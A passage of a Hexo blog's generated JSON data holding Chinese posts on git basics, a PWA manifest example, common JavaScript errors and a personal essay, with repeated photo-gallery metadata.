天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"合并分支
\n
\n\ngit config –global user.name “名字”
\n
git config –global user.email “邮箱”
这是你连接的必要部分,就相当于账号的登录密码,有这个你才能对GitHub上的项目进行操作
\n\n\nssh-keygen -t rsa -C “710328466@qq.com“
\n
进入首页,新建一个repository
\n填写相应信息
\n Repository name: 仓库名称\n\n Description(可选): 仓库描述介绍\n\n Public, Private : 仓库权限(公开共享,私有或指定合作者)\n Initialize this repository with a README: 添加一个README.md\n\n gitignore: 不需要进行版本管理的仓库类型,对应生成文件.gitignore\n\n license: 证书类型,对应生成文件LICENSE\n
#
\n\n\n这个步骤以后你的本地项目文件夹下面就会多出个文件夹,该文件夹名即为你github上面的项目名,如图我多出了个yourItem文件夹,我们把本地项目文件夹下的所有文件(除了新多出的那个文件夹不用),其余都复制到那个新多出的文件夹下
\n
git add . (添加所有文件)
\n\n\ngit add readme.md
\n
git commit -m “信息”
\ngit push -u origin master 将本地文件上传到git仓库
\n\n\n如果push -u….报错,你就改成git pull –rebase origin master,重新push就可以了
\n
添加到缓存
\n\n\n查看该项目改变的文件
\n\n
\n- git status
\n
\n\n默认是暂未缓存的改动,这个可以查自己目前版本和上一个版本的改动位置
\n
\n\n查看已缓存的改动
\n
\n\n查看已缓存与未缓存的所有改动
\n
\n\n显示摘要而非整个diff
\n
\n\n将条目从缓存区中移除
\n
\n\n用于移动或重命名一个文件,目录
\ngit add README\ngit mv README README.md\nls\n
\n\n后面加单词,即是创建分支: git branch day1
\n
\n\ngit branch -d testing
\n
\n\n切换分支
\n
\n\n创建新分支并切换到该分支下
\n
\n\n"},{"title":"PWA初窥","date":"2018-01-20T07:13:10.000Z","_content":"# Progressive Web Apps\n\n## 特性\n\n* 渐进式:能确保每个用户都能打开网页\n* 响应式:PC,手机,平板,不管哪种格式,网页格式都能完美适配\n* 离线应用:支持用户在没网的条件下也能打开网页,这里就需要 Service Worker 的帮助\n* APP 化:能够像 APP 一样和用户进行交互\n* 常更新:一旦 Web 网页有什么改动,都能立即在用户端体现出来\n* 安全:安全第一,给自己的网站加上一把绿锁--HTTPS\n* 可搜索:能够被引擎搜索到推送:做到在不打开网页的前提下,推送新的消息\n* 可安装:能够将 Web 想 APP 一样添加到桌面\n* 可跳转:只要通过一个连接就可以跳转到你的 Web 页面。\n\n## 配置文件\n\n```json\nminifest.json 内容\n{\n \"short_name\": \"pwa\",\n \"name\": \"pwa - demo\", // 应用名称\n \"icons\": [ // 应用显示图标,根据容器大小适配\n {\n \"src\": \"assets/imgs/48.png\",\n \"type\": \"image/png\",\n \"sizes\": \"48x48\"\n },\n {\n \"src\": \"assets/imgs/96.png\",\n \"type\": \"image/png\",\n \"sizes\": \"96x96\"\n },\n {\n \"src\": \"assets/imgs/192.png\",\n \"type\": \"image/png\",\n \"sizes\": \"192x192\"\n }\n ],\n \"background_color\": \"#2196F3\", // 刚打开页面时的背景\n \"theme_color\": \"#2196F3\", // 主题颜色\n \"display\": \"standalone\", //独立显示\n \"start_url\": \"index.html?launcher=true\" // 启动的页面\n}\n```\n\n待续...","source":"_posts/PWA初窥.md","raw":"---\ntitle: PWA初窥\ndate: 2018-01-20 15:13:10\ntags: [PWA]\ncategories: web前端\n---\n# Progressive Web Apps\n\n## 特性\n\n* 渐进式:能确保每个用户都能打开网页\n* 响应式:PC,手机,平板,不管哪种格式,网页格式都能完美适配\n* 离线应用:支持用户在没网的条件下也能打开网页,这里就需要 Service Worker 的帮助\n* APP 化:能够像 APP 一样和用户进行交互\n* 常更新:一旦 Web 网页有什么改动,都能立即在用户端体现出来\n* 安全:安全第一,给自己的网站加上一把绿锁--HTTPS\n* 可搜索:能够被引擎搜索到推送:做到在不打开网页的前提下,推送新的消息\n* 可安装:能够将 Web 想 APP 一样添加到桌面\n* 可跳转:只要通过一个连接就可以跳转到你的 Web 页面。\n\n## 配置文件\n\n```json\nminifest.json 内容\n{\n \"short_name\": \"pwa\",\n \"name\": \"pwa - demo\", // 应用名称\n \"icons\": [ // 应用显示图标,根据容器大小适配\n {\n \"src\": \"assets/imgs/48.png\",\n \"type\": \"image/png\",\n \"sizes\": \"48x48\"\n },\n {\n \"src\": \"assets/imgs/96.png\",\n \"type\": \"image/png\",\n \"sizes\": \"96x96\"\n },\n {\n \"src\": \"assets/imgs/192.png\",\n \"type\": \"image/png\",\n \"sizes\": \"192x192\"\n }\n ],\n \"background_color\": \"#2196F3\", // 刚打开页面时的背景\n \"theme_color\": \"#2196F3\", // 主题颜色\n \"display\": \"standalone\", //独立显示\n \"start_url\": \"index.html?launcher=true\" // 启动的页面\n}\n```\n\n待续...","slug":"PWA初窥","published":1,"updated":"2018-03-22T06:11:31.935Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y380006vzqhzzlsrm3e","content":"合并分支
\n
minifest.json 内容\n{\n "short_name": "pwa",\n "name": "pwa - demo", // 应用名称\n "icons": [ // 应用显示图标,根据容器大小适配\n {\n "src": "assets/imgs/48.png",\n "type": "image/png",\n "sizes": "48x48"\n },\n {\n "src": "assets/imgs/96.png",\n "type": "image/png",\n "sizes": "96x96"\n },\n {\n "src": "assets/imgs/192.png",\n "type": "image/png",\n "sizes": "192x192"\n }\n ],\n "background_color": "#2196F3", // 刚打开页面时的背景\n "theme_color": "#2196F3", // 主题颜色\n "display": "standalone", //独立显示\n "start_url": "index.html?launcher=true" // 启动的页面\n}\n
\n待续…
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"minifest.json 内容\n{\n "short_name": "pwa",\n "name": "pwa - demo", // 应用名称\n "icons": [ // 应用显示图标,根据容器大小适配\n {\n "src": "assets/imgs/48.png",\n "type": "image/png",\n "sizes": "48x48"\n },\n {\n "src": "assets/imgs/96.png",\n "type": "image/png",\n "sizes": "96x96"\n },\n {\n "src": "assets/imgs/192.png",\n "type": "image/png",\n "sizes": "192x192"\n }\n ],\n "background_color": "#2196F3", // 刚打开页面时的背景\n "theme_color": "#2196F3", // 主题颜色\n "display": "standalone", //独立显示\n "start_url": "index.html?launcher=true" // 启动的页面\n}\n
\n待续…
\n"},{"title":"JS常见的十大错误","date":"2018-02-07T01:26:47.000Z","_content":"\n# 1. Uncaught TypeError: Cannot read property\n发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。\n\n# 2. TypeError: ‘undefined’ is not an object\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。\n\n# 3. TypeError: null is not an object\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。\n> 在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===\n\n# 4. (unknown): Script error\n当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。\n\n# 5. TypeError: Object doesn’t support property\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。\n\n# 6. TypeError: ‘undefined’ is not a function\n当您调用未定义的函数时,这是 Chrome 中产生的错误。 \n\n# 7. Uncaught RangeError: Maximum call stack\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。\n\n# 8. TypeError: Cannot read property ‘length’\n这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。\n\n# 9. Uncaught TypeError: Cannot set property\n当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。\n\n# 10. ReferenceError: event is not defined\n当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。","source":"_posts/JS常见的十大错误.md","raw":"---\ntitle: JS常见的十大错误\ndate: 2018-02-07 09:26:47\ntags: [js, error]\ncategories: web前端\n---\n\n# 1. Uncaught TypeError: Cannot read property\n发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。\n\n# 2. TypeError: ‘undefined’ is not an object\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。\n\n# 3. TypeError: null is not an object\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。\n> 在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===\n\n# 4. (unknown): Script error\n当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。\n\n# 5. TypeError: Object doesn’t support property\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。\n\n# 6. TypeError: ‘undefined’ is not a function\n当您调用未定义的函数时,这是 Chrome 中产生的错误。 \n\n# 7. Uncaught RangeError: Maximum call stack\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。\n\n# 8. TypeError: Cannot read property ‘length’\n这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。\n\n# 9. Uncaught TypeError: Cannot set property\n当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。\n\n# 10. ReferenceError: event is not defined\n当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。","slug":"JS常见的十大错误","published":1,"updated":"2018-02-07T01:41:07.091Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y3l0008vzqhsd1yzy4u","content":"发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。
\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。
\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。
\n\n\n在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===
\n
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。
\n当您调用未定义的函数时,这是 Chrome 中产生的错误。
\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。
\n这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。
\n当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。
\n当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"发生这种情况的原因很多,但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。
\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同,但 Safari 使用了不同的错误消息提示语。
\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。
\n\n\n在 JavaScript 中,null 和 undefined 是不一样的,这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量,而 null 表示该值为空。 要验证它们不相等,请尝试使用严格的相等运算符 ===
\n
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。
\n当您调用未定义的函数时,这是 Chrome 中产生的错误。
\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。
\n这是 Chrome 中发生的错误,因为读取未定义变量的长度属性。
\n当我们尝试访问一个未定义的变量时,它总是返回 undefined,我们不能获取或设置任何未定义的属性。 在这种情况下,应用程序将抛出 “Uncaught TypeError: Cannot set property”。
\n当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
\n"},{"title":"Travis CI 实现自动化部署","date":"2018-04-09T06:53:57.000Z","_content":"","source":"_posts/Travis-CI-实现自动化部署.md","raw":"---\ntitle: Travis CI 实现自动化部署\ndate: 2018-04-09 14:53:57\ntags:\n---\n","slug":"Travis-CI-实现自动化部署","published":1,"updated":"2018-04-09T06:53:57.025Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y3t000avzqhdarbrypo","content":"","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"badboy","date":"2017-07-30T02:29:30.000Z","_content":"\n## 关于坏男人的定义\n很多人容易把坏男人很狼联系起来,事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉,好玩的天性,都充满好奇心,并且坚韧,善于适应不断变化的环境,一样的勇敢。以及根植在骨子里的忠诚\n\n> 但是往往会被冠以“狡猾” 和“危险”的名号\n\n是抽烟,逃课,打架,玩世不恭,对感情暧昧,吊儿郎当的度日子,看上去没有丝毫的进取心\n\n## 